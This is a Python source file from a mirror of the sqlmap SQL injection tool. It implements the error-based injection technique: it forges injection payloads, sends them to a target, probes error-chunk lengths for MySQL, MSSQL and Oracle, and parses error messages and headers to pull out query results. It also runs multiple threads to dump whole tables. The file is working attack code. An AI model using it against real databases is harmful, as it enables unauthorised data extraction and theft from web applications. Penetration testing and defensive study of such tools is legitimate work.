mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 19:13:48 +03:00
469 lines
20 KiB
Python
469 lines
20 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
from __future__ import print_function
|
|
|
|
import re
|
|
import time
|
|
|
|
from extra.safe2bin.safe2bin import safecharencode
|
|
from lib.core.agent import agent
|
|
from lib.core.bigarray import BigArray
|
|
from lib.core.common import Backend
|
|
from lib.core.common import calculateDeltaSeconds
|
|
from lib.core.common import dataToStdout
|
|
from lib.core.common import decodeDbmsHexValue
|
|
from lib.core.common import extractRegexResult
|
|
from lib.core.common import firstNotNone
|
|
from lib.core.common import getConsoleWidth
|
|
from lib.core.common import getPartRun
|
|
from lib.core.common import getTechnique
|
|
from lib.core.common import getTechniqueData
|
|
from lib.core.common import hashDBRetrieve
|
|
from lib.core.common import hashDBWrite
|
|
from lib.core.common import incrementCounter
|
|
from lib.core.common import initTechnique
|
|
from lib.core.common import isListLike
|
|
from lib.core.common import isNumPosStrValue
|
|
from lib.core.common import listToStrValue
|
|
from lib.core.common import readInput
|
|
from lib.core.common import unArrayizeValue
|
|
from lib.core.common import wasLastResponseHTTPError
|
|
from lib.core.compat import xrange
|
|
from lib.core.convert import decodeHex
|
|
from lib.core.convert import getUnicode
|
|
from lib.core.convert import htmlUnescape
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import HASHDB_KEYS
|
|
from lib.core.enums import HTTP_HEADER
|
|
from lib.core.exception import SqlmapDataException
|
|
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
|
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
|
|
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
|
|
from lib.core.settings import NULL
|
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
|
from lib.core.settings import ROTATING_CHARS
|
|
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
|
|
from lib.core.settings import SQL_SCALAR_REGEX
|
|
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
|
|
from lib.core.threads import getCurrentThreadData
|
|
from lib.core.threads import runThreads
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request.connect import Connect as Request
|
|
from lib.utils.progress import ProgressBar
|
|
from thirdparty import six
|
|
|
|
def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
|
offset = 1
|
|
rotator = 0
|
|
partialValue = None
|
|
threadData = getCurrentThreadData()
|
|
retVal = hashDBRetrieve(expression, checkConf=True)
|
|
|
|
if retVal and PARTIAL_VALUE_MARKER in retVal:
|
|
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
|
|
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
|
|
offset += len(partialValue)
|
|
|
|
threadData.resumed = retVal is not None and not partialValue
|
|
|
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
|
|
debugMsg = "searching for error chunk length..."
|
|
logger.debug(debugMsg)
|
|
|
|
current = MAX_ERROR_CHUNK_LENGTH
|
|
while current >= MIN_ERROR_CHUNK_LENGTH:
|
|
testChar = str(current % 10)
|
|
|
|
if Backend.isDbms(DBMS.ORACLE):
|
|
testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)
|
|
else:
|
|
testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
|
|
testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
|
|
|
|
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
|
|
|
|
if (result or "").startswith(testChar):
|
|
if result == testChar * current:
|
|
kb.errorChunkLength = current
|
|
break
|
|
else:
|
|
result = re.search(r"\A\w+", result).group(0)
|
|
candidate = len(result) - len(kb.chars.stop)
|
|
current = candidate if candidate != current else current - 1
|
|
else:
|
|
current = current // 2
|
|
|
|
if kb.errorChunkLength:
|
|
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
|
|
else:
|
|
kb.errorChunkLength = 0
|
|
|
|
if retVal is None or partialValue:
|
|
try:
|
|
while True:
|
|
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
|
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
|
|
|
|
if field:
|
|
nulledCastedField = agent.nullAndCastField(field)
|
|
|
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
|
|
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
|
|
if extendedField != field: # e.g. MIN(surname)
|
|
nulledCastedField = extendedField.replace(field, nulledCastedField)
|
|
field = extendedField
|
|
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
|
|
|
|
# Forge the error-based SQL injection request
|
|
vector = getTechniqueData().vector
|
|
query = agent.prefixQuery(vector)
|
|
query = agent.suffixQuery(query)
|
|
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
|
|
injExpression = unescaper.escape(injExpression)
|
|
injExpression = query.replace("[QUERY]", injExpression)
|
|
payload = agent.payload(newValue=injExpression)
|
|
|
|
# Perform the request
|
|
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
|
|
|
|
incrementCounter(getTechnique())
|
|
|
|
if page and conf.noEscape:
|
|
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
|
|
|
|
# Parse the returned page to get the exact error-based
|
|
# SQL injection output
|
|
output = firstNotNone(
|
|
extractRegexResult(check, page),
|
|
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
|
|
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
|
|
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
|
)
|
|
|
|
if output is not None:
|
|
output = getUnicode(output)
|
|
else:
|
|
trimmed = firstNotNone(
|
|
extractRegexResult(trimCheck, page),
|
|
extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
|
|
extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
|
|
extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
|
)
|
|
|
|
if trimmed:
|
|
if not chunkTest:
|
|
warnMsg = "possible server trimmed output detected "
|
|
warnMsg += "(due to its length and/or content): "
|
|
warnMsg += safecharencode(trimmed)
|
|
logger.warn(warnMsg)
|
|
|
|
if not kb.testMode:
|
|
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]
|
|
output = extractRegexResult(check, trimmed, re.IGNORECASE)
|
|
|
|
if not output:
|
|
check = r"(?P<result>[^\s<>'\"]+)"
|
|
output = extractRegexResult(check, trimmed, re.IGNORECASE)
|
|
else:
|
|
output = output.rstrip()
|
|
|
|
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):
|
|
if offset == 1:
|
|
retVal = output
|
|
else:
|
|
retVal += output if output else ''
|
|
|
|
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
|
|
offset += kb.errorChunkLength
|
|
else:
|
|
break
|
|
|
|
if output and conf.verbose in (1, 2) and not conf.api:
|
|
if kb.fileReadMode:
|
|
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
|
|
elif offset > 1:
|
|
rotator += 1
|
|
|
|
if rotator >= len(ROTATING_CHARS):
|
|
rotator = 0
|
|
|
|
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
|
|
else:
|
|
retVal = output
|
|
break
|
|
except:
|
|
if retVal is not None:
|
|
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
|
|
raise
|
|
|
|
retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal
|
|
|
|
if isinstance(retVal, six.string_types):
|
|
retVal = htmlUnescape(retVal).replace("<br>", "\n")
|
|
|
|
retVal = _errorReplaceChars(retVal)
|
|
|
|
if retVal is not None:
|
|
hashDBWrite(expression, retVal)
|
|
|
|
else:
|
|
_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
|
retVal = extractRegexResult(_, retVal) or retVal
|
|
|
|
return safecharencode(retVal) if kb.safeCharEncode else retVal
|
|
|
|
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False):
|
|
values = []
|
|
origExpr = None
|
|
|
|
width = getConsoleWidth()
|
|
threadData = getCurrentThreadData()
|
|
|
|
for field in expressionFieldsList:
|
|
output = None
|
|
|
|
if field.startswith("ROWNUM "):
|
|
continue
|
|
|
|
if isinstance(num, int):
|
|
origExpr = expression
|
|
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
|
|
|
|
if "ROWNUM" in expressionFieldsList:
|
|
expressionReplaced = expression
|
|
else:
|
|
expressionReplaced = expression.replace(expressionFields, field, 1)
|
|
|
|
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
|
|
|
|
if not kb.threadContinue:
|
|
return None
|
|
|
|
if not any((suppressOutput, kb.bruteMode)):
|
|
if kb.fileReadMode and output and output.strip():
|
|
print()
|
|
elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
|
|
status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output))
|
|
|
|
if len(status) > width:
|
|
status = "%s..." % status[:width - 3]
|
|
|
|
dataToStdout("%s\n" % status)
|
|
|
|
if isinstance(num, int):
|
|
expression = origExpr
|
|
|
|
values.append(output)
|
|
|
|
return values
|
|
|
|
def _errorReplaceChars(value):
|
|
"""
|
|
Restores safely replaced characters
|
|
"""
|
|
|
|
retVal = value
|
|
|
|
if value:
|
|
retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
|
|
|
|
return retVal
|
|
|
|
def _formatPartialContent(value):
|
|
"""
|
|
Prepares (possibly hex-encoded) partial content for safe console output
|
|
"""
|
|
|
|
if value and isinstance(value, six.string_types):
|
|
try:
|
|
value = decodeHex(value, binary=False)
|
|
except:
|
|
pass
|
|
finally:
|
|
value = safecharencode(value)
|
|
|
|
return value
|
|
|
|
def errorUse(expression, dump=False):
|
|
"""
|
|
Retrieve the output of a SQL query taking advantage of the error-based
|
|
SQL injection vulnerability on the affected parameter.
|
|
"""
|
|
|
|
initTechnique(getTechnique())
|
|
|
|
abortedFlag = False
|
|
count = None
|
|
emptyFields = []
|
|
start = time.time()
|
|
startLimit = 0
|
|
stopLimit = None
|
|
value = None
|
|
|
|
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
|
|
|
|
# Set kb.partRun in case the engine is called from the API
|
|
kb.partRun = getPartRun(alias=False) if conf.api else None
|
|
|
|
# We have to check if the SQL query might return multiple entries
|
|
# and in such case forge the SQL limiting the query output one
|
|
# entry at a time
|
|
# NOTE: we assume that only queries that get data from a table can
|
|
# return multiple entries
|
|
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
|
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
|
|
|
|
if limitCond:
|
|
# Count the number of SQL query entries output
|
|
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
|
|
|
|
if " ORDER BY " in countedExpression.upper():
|
|
_ = countedExpression.upper().rindex(" ORDER BY ")
|
|
countedExpression = countedExpression[:_]
|
|
|
|
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
|
|
count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
|
|
|
|
if isNumPosStrValue(count):
|
|
if isinstance(stopLimit, int) and stopLimit > 0:
|
|
stopLimit = min(int(count), int(stopLimit))
|
|
else:
|
|
stopLimit = int(count)
|
|
|
|
infoMsg = "used SQL query returns "
|
|
infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
|
|
logger.info(infoMsg)
|
|
|
|
elif count and not count.isdigit():
|
|
warnMsg = "it was not possible to count the number "
|
|
warnMsg += "of entries for the SQL query provided. "
|
|
warnMsg += "sqlmap will assume that it returns only "
|
|
warnMsg += "one entry"
|
|
logger.warn(warnMsg)
|
|
|
|
stopLimit = 1
|
|
|
|
elif (not count or int(count) == 0):
|
|
if not count:
|
|
warnMsg = "the SQL query provided does not "
|
|
warnMsg += "return any output"
|
|
logger.warn(warnMsg)
|
|
else:
|
|
value = [] # for empty tables
|
|
return value
|
|
|
|
if isNumPosStrValue(count) and int(count) > 1:
|
|
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
|
|
message = "due to huge table size do you want to remove "
|
|
message += "ORDER BY clause gaining speed over consistency? [y/N] "
|
|
|
|
if readInput(message, default="N", boolean=True):
|
|
expression = expression[:expression.index(" ORDER BY ")]
|
|
|
|
numThreads = min(conf.threads, (stopLimit - startLimit))
|
|
|
|
threadData = getCurrentThreadData()
|
|
|
|
try:
|
|
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
|
|
except OverflowError:
|
|
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
|
|
errMsg += "with switch '--fresh-queries'"
|
|
raise SqlmapDataException(errMsg)
|
|
|
|
threadData.shared.value = BigArray()
|
|
threadData.shared.buffered = []
|
|
threadData.shared.counter = 0
|
|
threadData.shared.lastFlushed = startLimit - 1
|
|
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
|
|
|
|
if threadData.shared.showEta:
|
|
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
|
|
|
|
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
|
|
for field in expressionFieldsList:
|
|
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
|
|
emptyFields.append(field)
|
|
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
|
|
debugMsg += "dumped as it appears to be empty"
|
|
logger.debug(debugMsg)
|
|
|
|
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
|
kb.suppressResumeInfo = True
|
|
debugMsg = "suppressing possible resume console info because of "
|
|
debugMsg += "large number of rows. It might take too long"
|
|
logger.debug(debugMsg)
|
|
|
|
try:
|
|
def errorThread():
|
|
threadData = getCurrentThreadData()
|
|
|
|
while kb.threadContinue:
|
|
with kb.locks.limit:
|
|
try:
|
|
threadData.shared.counter += 1
|
|
num = next(threadData.shared.limits)
|
|
except StopIteration:
|
|
break
|
|
|
|
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
|
|
|
|
if not kb.threadContinue:
|
|
break
|
|
|
|
if output and isListLike(output) and len(output) == 1:
|
|
output = unArrayizeValue(output)
|
|
|
|
with kb.locks.value:
|
|
index = None
|
|
if threadData.shared.showEta:
|
|
threadData.shared.progress.progress(threadData.shared.counter)
|
|
for index in xrange(1 + len(threadData.shared.buffered)):
|
|
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
|
|
break
|
|
threadData.shared.buffered.insert(index or 0, (num, output))
|
|
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
|
|
threadData.shared.lastFlushed += 1
|
|
threadData.shared.value.append(threadData.shared.buffered[0][1])
|
|
del threadData.shared.buffered[0]
|
|
|
|
runThreads(numThreads, errorThread)
|
|
|
|
except KeyboardInterrupt:
|
|
abortedFlag = True
|
|
warnMsg = "user aborted during enumeration. sqlmap "
|
|
warnMsg += "will display partial output"
|
|
logger.warn(warnMsg)
|
|
|
|
finally:
|
|
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
|
|
value = threadData.shared.value
|
|
kb.suppressResumeInfo = False
|
|
|
|
if not value and not abortedFlag:
|
|
value = _errorFields(expression, expressionFields, expressionFieldsList)
|
|
|
|
if value and isListLike(value):
|
|
if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))):
|
|
value = unArrayizeValue(value)
|
|
elif len(value) > 1 and stopLimit == 1:
|
|
value = [value]
|
|
|
|
duration = calculateDeltaSeconds(start)
|
|
|
|
if not kb.bruteMode:
|
|
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)
|
|
logger.debug(debugMsg)
|
|
|
|
return value
|